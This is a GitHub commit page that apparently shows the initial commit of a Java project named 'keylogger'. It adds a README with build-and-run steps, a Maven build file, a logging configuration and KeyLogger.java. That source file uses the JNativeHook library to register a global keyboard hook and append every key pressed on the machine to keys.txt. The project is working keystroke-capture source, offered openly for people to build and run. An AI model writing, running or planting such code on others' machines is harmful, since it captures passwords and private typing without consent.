Skip to content

Commit 20bcaf9

Browse files
author
DIVAKARAN
committed
Initial empty commit
0 parents  commit 20bcaf9

5 files changed

Lines changed: 197 additions & 0 deletions

File tree

.gitignore

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
/target/
2+
3+
/.settings/
4+
.project
5+
.classpath
6+
.idea/
7+
8+
keylogger.iml

README.md

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://github.com/dhvakr/keylogger-in-java/blob/main/LICENSE)
2+
[![made-with-java](https://img.shields.io/badge/Made%20with-java-1f425f.svg)](https://www.oracle.com/java/)
3+
![JDK](https://img.shields.io/badge/JDK-%3E%3D%20v8-blue)
4+
[![Maintenance](https://img.shields.io/badge/Maintained%3F-no-green.svg)](https://github.com/dhvakr/keylogger-in-java/graphs/commit-activity)
5+
6+
# Java-Keylogger
7+
A simple keylogger application implemented in Java. It uses [Native Hook](https://github.com/kwhat/jnativehook) library to add global listener for key presses.
8+
9+
## How to Build and Run Project
10+
TO build project:
11+
```bash
12+
mvn package
13+
```
14+
Run ./target/keylogger-jar-with-dependencies.jar file using command:
15+
```bash
16+
java -jar `./target/keylogger-jar-with-dependencies.jar`
17+
```
18+
The keys will be written in **`keys.txt`** file and application logs will reside inside **`all.log`** file.
19+
20+
## Note
21+
Don't forget to stop the keylogger application after you've done logging.

pom.xml

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
5+
<groupId>me.dhvakr</groupId>
6+
<artifactId>keylogger</artifactId>
7+
<version>1.0</version>
8+
<packaging>jar</packaging>
9+
10+
<name>keylogger</name>
11+
<url>http://maven.apache.org</url>
12+
13+
<properties>
14+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
15+
<maven.compiler.target>1.8</maven.compiler.target>
16+
<maven.compiler.source>1.8</maven.compiler.source>
17+
</properties>
18+
19+
<dependencies>
20+
<dependency>
21+
<groupId>com.1stleg</groupId>
22+
<artifactId>jnativehook</artifactId>
23+
<version>2.1.0</version>
24+
</dependency>
25+
26+
<dependency>
27+
<groupId>org.slf4j</groupId>
28+
<artifactId>slf4j-api</artifactId>
29+
<version>1.7.25</version>
30+
</dependency>
31+
32+
<dependency>
33+
<groupId>org.apache.logging.log4j</groupId>
34+
<artifactId>log4j-slf4j-impl</artifactId>
35+
<version>2.10.0</version>
36+
</dependency>
37+
38+
<dependency>
39+
<groupId>org.apache.logging.log4j</groupId>
40+
<artifactId>log4j-core</artifactId>
41+
<version>2.10.0</version>
42+
</dependency>
43+
</dependencies>
44+
45+
<build>
46+
<finalName>${project.artifactId}</finalName>
47+
<plugins>
48+
<!-- Assemble into single executable JAR file -->
49+
<plugin>
50+
<artifactId>maven-assembly-plugin</artifactId>
51+
<configuration>
52+
<archive>
53+
<manifest>
54+
<mainClass>me.dhvakr.KeyLogger</mainClass>
55+
</manifest>
56+
</archive>
57+
<descriptorRefs>
58+
<descriptorRef>jar-with-dependencies</descriptorRef>
59+
</descriptorRefs>
60+
</configuration>
61+
<executions>
62+
<execution>
63+
<id>make-assembly</id> <!-- this is used for inheritance merges -->
64+
<phase>package</phase> <!-- bind to the packaging phase -->
65+
<goals>
66+
<goal>single</goal>
67+
</goals>
68+
</execution>
69+
</executions>
70+
</plugin>
71+
</plugins>
72+
</build>
73+
</project>
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
package me.dhvakr;
2+
3+
import java.io.IOException;
4+
import java.io.OutputStream;
5+
import java.io.PrintWriter;
6+
import java.nio.file.Files;
7+
import java.nio.file.Path;
8+
import java.nio.file.Paths;
9+
import java.nio.file.StandardOpenOption;
10+
import java.util.logging.Level;
11+
12+
import org.jnativehook.GlobalScreen;
13+
import org.jnativehook.NativeHookException;
14+
import org.jnativehook.keyboard.NativeKeyEvent;
15+
import org.jnativehook.keyboard.NativeKeyListener;
16+
import org.slf4j.Logger;
17+
import org.slf4j.LoggerFactory;
18+
19+
/**
20+
* @author vakho
21+
*/
22+
public class KeyLogger implements NativeKeyListener {
23+
24+
private static final Path file = Paths.get("keys.txt");
25+
private static final Logger logger = LoggerFactory.getLogger(KeyLogger.class);
26+
27+
public static void main(String[] args) {
28+
29+
logger.info("Key logger has been started");
30+
31+
init();
32+
33+
try {
34+
GlobalScreen.registerNativeHook();
35+
} catch (NativeHookException e) {
36+
logger.error(e.getMessage(), e);
37+
System.exit(-1);
38+
}
39+
40+
GlobalScreen.addNativeKeyListener(new KeyLogger());
41+
}
42+
43+
private static void init() {
44+
45+
// Get the logger for "org.jnativehook" and set the level to warning.
46+
java.util.logging.Logger logger = java.util.logging.Logger.getLogger(GlobalScreen.class.getPackage().getName());
47+
logger.setLevel(Level.WARNING);
48+
49+
// Don't forget to disable the parent handlers.
50+
logger.setUseParentHandlers(false);
51+
}
52+
53+
public void nativeKeyPressed(NativeKeyEvent e) {
54+
String keyText = NativeKeyEvent.getKeyText(e.getKeyCode());
55+
56+
try (OutputStream os = Files.newOutputStream(file, StandardOpenOption.CREATE, StandardOpenOption.WRITE,
57+
StandardOpenOption.APPEND); PrintWriter writer = new PrintWriter(os)) {
58+
59+
if (keyText.length() > 1) {
60+
writer.print("[" + keyText + "]");
61+
} else {
62+
writer.print(keyText);
63+
}
64+
65+
} catch (IOException ex) {
66+
logger.error(ex.getMessage(), ex);
67+
System.exit(-1);
68+
}
69+
}
70+
71+
public void nativeKeyReleased(NativeKeyEvent e) {
72+
// Nothing
73+
}
74+
75+
public void nativeKeyTyped(NativeKeyEvent e) {
76+
// Nothing here
77+
}
78+
}

src/main/resources/log4j2.xml

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<Configuration status="INFO">
3+
<Appenders>
4+
<Console name="Console" target="SYSTEM_OUT">
5+
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
6+
</Console>
7+
<File name="MyFile" fileName="all.log" immediateFlush="true" append="false">
8+
<PatternLayout pattern="%d{yyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
9+
</File>
10+
</Appenders>
11+
<Loggers>
12+
<Root level="debug">
13+
<AppenderRef ref="Console" />
14+
<AppenderRef ref="MyFile"/>
15+
</Root>
16+
</Loggers>
17+
</Configuration>

0 commit comments

Comments
 (0)